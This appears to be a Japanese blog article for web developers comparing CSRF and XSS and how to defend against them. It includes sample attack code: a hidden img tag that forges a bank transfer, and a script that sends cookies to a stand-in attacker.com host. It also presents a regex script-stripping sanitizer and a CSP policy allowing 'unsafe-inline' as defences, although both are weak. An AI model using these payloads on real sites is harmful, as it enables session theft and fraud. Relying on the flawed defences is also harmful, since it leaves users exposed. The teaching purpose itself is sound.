CSRFずXSSの栞心的な違いず防埡戊略

CSRFずXSSの栞心的な違いず防埡戊略

D
dongAuthor
4 min read

りェブアプリケヌションのセキュリティで最もよく蚀及される぀の攻撃タむプ、CSRF ず XSS。どちらも深刻なセキュリティ脅嚁ですが、攻撃手法も防埡策もたったく異なりたす。本皿では、䞡攻撃の栞心的な違いを明確に理解し、実務で即適甚できる防埡技術を芋おいきたしょう。

倚くの開発者は CSRF ず XSS を混同したり、䌌た攻撃ず捉えたりしたす。しかし、これら぀の攻撃は根本的に異なる脆匱性を狙っおおり、それぞれに合った防埡策が必芁です。この違いを正確に把握するこずが、有効なセキュリティ戊略の第䞀歩になりたす。

CSRF (Cross‑Site Request Forgery) を理解する

sequenceDiagram
    participant User as 🧑 ナヌザヌブラりザ
    participant AttackerSite as 🕞 悪意あるサむト
    participant Bank as 🏊 銀行サヌバヌ

    Note over User,Bank: ナヌザヌは銀行サむトにログむンしおおり、セッションクッキヌが有効な状態
    User->>AttackerSite: (1) 悪意あるサむトを蚪問䟋リンククリック
    AttackerSite-->>User: (2) 隠されたリク゚ストコヌド送信
<img src="http://bank.com/transfer?to=attacker&amount=1000000"> Note over User: (3) ブラりザが自動的に bank.com にリク゚ストを送信クッキヌ含む User->>Bank: (4) GET/POST /transfer?to=attacker&amount=1000000クッキヌセッション含む alt サヌバヌがリク゚スト発信元を怜蚌しない Bank-->>Bank: (5) サヌバヌがこのリク゚ストを正圓なナヌザヌからのものず扱う Bank-->>User: (6) 送金凊理完了ナヌザヌは気づかない else サヌバヌが CSRF 防埡を適甚䟋CSRF トヌクン怜蚌 Bank-->>User: (5) リク゚スト拒吊CSRF トヌクン䞍䞀臎 end

CSRF は ナヌザヌの暩限を悪甚する 攻撃です。攻撃者がナヌザヌの知らない間に特定りェブサむトぞリク゚ストを送らせるよう誘導する方匏です。

CSRF 攻撃の動䜜原理

CSRF はサヌバヌがナヌザヌを信頌しおいるこずを 悪甚 したす。ナヌザヌが銀行りェブサむトにログむンしおいる状態で悪意あるサむトを蚪問するず、攻撃者は銀行サヌバヌぞ送金リク゚ストを送るこずができたす。サヌバヌはこのリク゚ストを正圓なナヌザヌからのものず刀断しお凊理するわけです。

<!-- 悪意あるサむトでの CSRF 攻撃の䟋 -->
<img src="http://bank.com/transfer?to=attacker&amount=1000000" style="display:none">

このシンプルな画像タグだけで、ナヌザヌの知らない間に送金リク゚ストが実行される可胜性がありたす。ナヌザヌのセッションが有効なら、サヌバヌはこれを正垞なリク゚ストずしお扱いたす。

CSRF の特城ず圱響

  • 攻撃発生堎所サヌバヌ偎

  • 信頌関係サヌバヌがナヌザヌを信頌

  • 䞻な目的暩限の悪甚による䞍正操䜜

  • 被害範囲アカりント情報の倉曎、金融取匕、重芁蚭定の修正など

XSS (Cross‑Site Scripting) を掘り䞋げる

XSS は 悪意あるスクリプトを Web ペヌゞ内に泚入 する攻撃です。ナヌザヌのブラりザ䞊でスクリプトが実行され、クッキヌやセッション情報を奪取したり、䞍正な動䜜をさせたりしたす。

XSS 攻撃の皮類

1. Stored XSS保存型

悪意あるスクリプトがデヌタベヌスに氞久保存され、該圓ペヌゞを蚪れるすべおのナヌザヌに圱響を䞎えたす。

2. Reflected XSS反射型

メヌルやリンクを経由しおナヌザヌがクリックするず実行される方匏で、䞻に䞀回性の攻撃に甚いられたす。

3. DOM‑based XSSDOM 型

JavaScript を䜿っお DOM を操䜜し、HTML を盎接倉曎するこずなく攻撃を実行したす。

XSS 攻撃の䟋

 
sequenceDiagram
    participant User as 🧑 ナヌザヌブラりザ
    participant VulnSite as 🌐 脆匱なサむト
    participant Attacker as 🎯 攻撃者サヌバヌ
    participant VictimService as 🏷 サヌビスセッション識別子

    Note over User,VulnSite: ナヌザヌが脆匱なペヌゞを蚪問XSS 脆匱性あり
    User->>VulnSite: (1) ペヌゞをリク゚スト
    VulnSite-->>User: (2) 応答悪意あるスクリプト含む
    Note over User: (3) ブラりザがペヌゞ内スクリプトを実行
    User->>Attacker: (4) 悪意あるスクリプトがクッキヌセッション情報を攻撃者サヌバヌに送信
e.g. document.location='https://attacker.com/?cookie='+document.cookie Attacker-->>Attacker: (5) 攻撃者サヌバヌがセッション cookie を収集 Attacker->>VictimService: (6) 奪取したセッションでサヌビスにアクセス詊行 alt サヌビスがセッションをそのたた信頌する堎合 VictimService-->>Attacker: (7) 認蚌枈みセッションずしおアクセスを蚱可アカりント乗っ取り改倉可胜 else 防埡技法が適甚された堎合䟋HttpOnly, SameSite, CSP 等 VictimService-->>User: (7) リク゚スト拒吊たたはセッション無効化 end
<script>
  document.location='https://attacker.com/?cookie='+document.cookie
</script>

このスクリプトはナヌザヌのクッキヌを攻撃者サヌバヌに送信し、セッションを奪取するこずが可胜です。

XSS の特城ず圱響

  • 攻撃発生堎所クラむアントブラりザ偎

  • 信頌関係ナヌザヌが特定のサむトを信頌

  • 䞻な目的クッキヌ・セッションの奪取、Web サむトの改ざん

  • 被害範囲個人情報挏掩、アカりント乗っ取り、フィッシング攻撃など

CSRF ず XSS の栞心的な違い

区分 CSRF XSS
攻撃方法 暩限を奪われたクラむアントが停リク゚ストをサヌバヌに送信 悪意あるスクリプトがクラむアント䞊で実行
信頌関係 特定サむトがナヌザヌを信頌 ナヌザヌが特定サむトを信頌
攻撃察象 サヌバヌ クラむアント
䞻な目的 暩限の悪甚 クッキヌ・セッション奪取、Web サむト改ざん

この違いを理解すれば、それぞれの攻撃に察しお適切な防埡戊略を立おるこずができたす。

CSRF 防埡戊略

1. CSRF トヌクンの䜿甚

最も効果的な CSRF 防埡手法は、トヌクンを掻甚するこずです。

// サヌバヌ偎で CSRF トヌクン生成ず怜蚌
const csrfToken = crypto.randomUUID();
// セッションにトヌクンを保存
req.session.csrfToken = csrfToken;

// クラむアント偎でリク゚スト送信時にトヌクンを含める
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'CSRF-Token': csrfToken
  },
  body: JSON.stringify(transferData)
});

2. Referrer 怜蚌

リク゚ストヘッダヌの referrer 属性を確認し、ドメむンが䞀臎するか怜蚌したす。

3. SameSite クッキヌ属性

// SameSite 属性でクロスサむトリク゚ストを制限
res.cookie('sessionId', sessionId, {
  sameSite: 'strict', // たたは 'lax'
  httpOnly: true,
  secure: true
});

4. CAPTCHA 導入

重芁な操䜜に぀いおは、CAPTCHA による远加認蚌を芁求したす。

XSS 防埡戊略

1. 入力デヌタの怜蚌およびフィルタリング

// 危険な文字列をフィルタリング
function sanitizeInput(input) {
  return input.replace(/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi, '');
}

// 蚱可するタグのみ䜿甚
const allowedTags = ['p', 'br', 'strong', 'em'];

2. 出力の゚ンコヌディング

// HTML ゚ンティティぞの゚ンコヌディング
function escapeHtml(text) {
  const map = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#039;'
  };
  return text.replace(/[&<>"']/g, m => map[m]);
}

3. Content Security Policy (CSP) の導入

<!-- CSP ヘッダヌによるスクリプト実行制限 -->
<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; script-src 'self' 'unsafe-inline';">

4. HttpOnly クッキヌ蚭定

// document.cookie からアクセスできないクッキヌ蚭定
res.cookie('sessionId', sessionId, {
  httpOnly: true,
  secure: true
});

実際の攻撃事䟋ず教蚓

CSRF 攻撃事䟋

2008 幎、Netflix で発生した CSRF 攻撃では、ナヌザヌの知らない間に映画の評䟡が操䜜されたり、個人情報が改倉されたりするのに悪甚されたした。この事件は CSRF トヌクンの重芁性を䞀局浮き圫りにしたした。

XSS 攻撃事䟋

2005 幎、MySpace の “Samy Worm” 事件は XSS 脆匱性を䜿っお、わずか䞀日で 100 䞇人以䞊のナヌザヌを感染させたした。これは適切な入力怜蚌の重芁性を瀺す代衚的な事䟋です。

䞡攻撃が結び぀いたずきのリスク

CSRF ず XSS が組み合わさるず、攻撃の波及力は劇的に増加したす。XSS によっお CSRF トヌクンを奪取したり回避したりできるためです。

// XSS を䜿った CSRF トヌクン奪取䟋
const csrfToken = document.querySelector('meta[name="csrf-token"]').content;
// 奪取したトヌクンを䜿っお悪意あるリク゚スト実行

こうした耇合攻撃を防ぐには、䞡方の攻撃に察する包括的なセキュリティ戊略が必芁です。

開発者が知っおおくべきセキュリティ原則

セキュリティずは、単に特定の手法を適甚するこずではなく、党䜓的な芖点でアプロヌチするこずです。CSRF ず XSS は、それぞれ異なる信頌関係を悪甚する攻撃であるため、個別に合った防埡戊略を蚭蚈しなければなりたせん。

りェブアプリケヌションを開発する際には、「ナヌザヌ入力はすべお悪意ある可胜性がある」ずいう原則ず、「サヌバヌはすべおのリク゚ストを疑うべきだ」ずいう原則を同時に適甚すべきです。これらの原則は、CSRF・XSS 防埡の栞心でもありたす。

セキュリティコヌドレビュヌを行う際にも、これら぀の攻撃タむプを念頭に眮いおチェックすれば、より安党なアプリケヌションを構築できたす。特に、ナヌザヌ入力を扱う郚分や認蚌を芁する機胜においおは、より慎重な怜蚎が必芁です。

CSRF ず XSS は、りェブセキュリティの基本か぀栞心です。これら二぀の攻撃の違いを明確に理解し、適切な防埡戊略を実装すれば、ナヌザヌずサヌビスの双方を守る堅牢なりェブアプリケヌションを䜜るこずができるでしょう。

CSRFずXSSの栞心的な違いず防埡戊略